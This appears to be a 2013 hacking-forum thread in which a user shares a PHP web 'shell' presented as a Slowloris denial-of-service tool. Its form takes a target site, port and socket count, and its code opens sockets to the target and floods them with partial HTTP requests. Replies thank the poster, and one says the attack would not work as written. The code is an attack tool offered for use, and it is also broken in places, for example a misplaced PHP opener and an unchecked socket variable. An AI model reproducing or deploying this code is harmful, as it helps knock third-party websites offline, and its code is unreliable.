

Forum:[Hack Forums](#)

Thread: [SLOWLORIS PHP SHELL](#)

ShitTaker99 - April 27, 2013, 8:30 pm

I've been working on this for a while. Was unable to use socket, and fork function since a lot of hosts dont allow it. If I could use those functions this script would be a lot better :(

PHP Code

```
<?php
<html>
<body>
<center>
<form action = "" method = "post" >
Time Limit:
<input type = "text" name = "time" <br>
<br />
Site:
<input type = "text" name = "site" <br>
<br />
Port:
<input type = "text" name = "port" <br>
<br />
Number of sockets:
<input type = "text" name = "number" <br>
<br />
Max Wait Time:
<input type = "text" name = "wait" <br>
<br />
User Agent:
</center>
<input type = "radio" name = "user1" value = 'fire'> Firefox <br>
<input type = "radio" name = "user1" value = 'opera'> Opera <br>
<input type = "radio" name = "user1" value = 'chrome'> Chrome <br>
<input type = "submit">
</form>
</body>
</html>
```

```
<?php
```

```
/*
```

```
PHP probably isn't the best language to use for filling sockets, unless you are using a botnet, and th
is shell doesn't use get variables
```

```
*/
```

```
//Create variable named $permagent, and set as custom useragent if desired
```

```

if (isset($_POST['port']) && isset($_POST['number']) && isset($_POST['site']) && isset($_POST['wait']) && isset($_POST['time'])) {

    $port = $_POST['port'];
    $number = $_POST['number'];
    $site = $_POST['site'];
    $wait = $_POST['wait'];

    intval($number);
    intval($port);
    intval($wait);

    set_time_limit($wait);

    if (isset($_POST['user1'])) {

        if ($_POST['user1'] == 'fire') {

            $useragent = 'Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0';

        }

        elseif ($_POST['user1'] == 'opera') {

            $useragent =
'Opera/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto/2.12.388 Version/12.11';

        }else {

            $useragent =
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31';

        }

    }

    if (isset($permagent)) {

        $useragent = $permagent;

    }

    if (isset($useragent)) {
        session_start();
        $_SESSION['numbers'] = 0;
    }

    if ($_SESSION['numbers'] < $number) {

        time_nanosleep(0, 50000000);

        $fp = fsockopen($site, $port, $errno, $errstr);

```

```

$message = "GET / HTTP/1.1\r\n";
$message .= "HOST:" . $site . "\r\n";
$message .= "User-Agent: " . $useragent . "\r\n";
$message .= "Content-Length: " . "42" . "\r\n";
$message .= "X-a: " . rand(1,10000) . "\r\n";

if(!fp) {

    echo($errstr . $errno . "<br> \n");

}else {

    while($_SESSION['numbers'] < $number){

        fwrite($fp, $message); //writes to remote socket opening the socket
        $_SESSION['numbers'] ++;

    }

}

}

}

?>

```

Sm1th???? - September 4, 2013, 3:46 pm

Thanks for the shell. I am testing it out now.

Ego Inc - September 4, 2013, 8:06 pm

Not bad at all, was looking expecting to see copy-pasted code, but it seems you did this yourself :)

Blockchain - September 5, 2013, 12:05 am

Interesting. Just a quick tip that might help - believe it or not, you can put commas in between declared or undeclared variables in isset(). Example below:

```

PHP Code
<?php
if (isset($_POST['port'], $_POST['number'], $_POST['site'], $_POST['wait'], $_POST['time'])) {

```

A little more convenient for you, other than that, nice script you wrote.

Hack3R No.1 - October 21, 2013, 12:34 pm

Thanx for the script man, would test it out now

ASDA - October 21, 2013, 12:40 pm

That's not how slowloris works. Your attack wouldn't do anything. I suggest you read up on how slowloris works.

<https://hackforums.net/showthread.php?tid=3651198>

Why do you have an X-a header... Look at what headers your browser sends, then look at how the exploit works.

Possibly some of the worst HTML I've seen in a long time too. Does nobody know how to use HTML validators around here?

Vets - *October 21, 2013, 12:51 pm*

Thanks for this awesome Code source :)